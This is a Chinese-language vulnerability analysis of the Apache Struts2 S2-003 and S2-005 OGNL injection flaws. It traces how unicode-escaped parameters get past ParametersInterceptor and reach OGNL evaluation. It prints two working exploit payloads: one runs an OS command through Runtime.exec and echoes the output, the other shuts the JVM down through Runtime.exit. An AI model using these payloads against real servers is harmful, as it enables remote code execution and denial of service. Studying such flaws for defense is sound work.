环境搭建
因为影响版本包括了S2-001的范围,因此我继续使用Struts2.0.1的包。
将Struts2的struts2-showcase-2.0.1.war放到Tomcat下的webapps文件夹,便完成了环境搭建,运行后,访问链接:
http://localhost:8080/struts2-showcase-2.0.1/showcase.action
调试分析
选取网上常见的POC作调试用:
1 | ('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla)) |
从官网的S2-003公告分析,触发点位于ParametersInterceptor
,注意调试showcase要先把断点位置打好,否则会出现调试不出现源码的情况。
step over
到getValueStack()
断点位置,看一下变量情况:
parameters
正常赋值,step into
进入setParameters()
:
经过循环取值后,会依次处理传入的参数:
entry
被赋值后,进阶着便赋值给了name
,而接下来则会对name
进行格式校验,跟入acceptableName
:
此处会检验是否存在=
,,
,#
,:
这些符号,存在的话便返回-1
,而-1
则无法继续执行接下来的语句。
在109行调用setValue()
:
1 | try { |
步入setValue()
:
1 | public void setValue(String expr, Object value) { |
继续步入setValue
:
步入第110行处的OgnlUtil.setValue(expr, context, this.root, value)
:
步入compile
:
进入Ognl.parseExpression(express)
:
expression
函数中的逻辑主要为进行字符处理,而\u0023
转变为#
则在它调用readChar()
函数进行处理时完成,当遇到\
与u
时,将后续的数字处理为十六进制:
从Variables
中可以看到,已经完成了\u0023
到#
的转变.下图为完成字符处理后,返回compile
的结果:
以上语句最终在evaluateGetValueBody
函数中进行执行:
1 | protected Object evaluateGetValueBody(OgnlContext context, Object source) throws OgnlException { |
延伸至S2-005
在出现S2-003后,官方采用的修补方法为:
正如公告所说的,这不是一个很好的解决方式,因此也直接导致了S2-005的产生,仅需要对allowStaticMethodAccess
及denyMethodExecution
属性重新进行设置即可重新利用上下文.
1 | ('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1 |
而对于S2-005,官方则直接建议升级至Struts 2.2.1: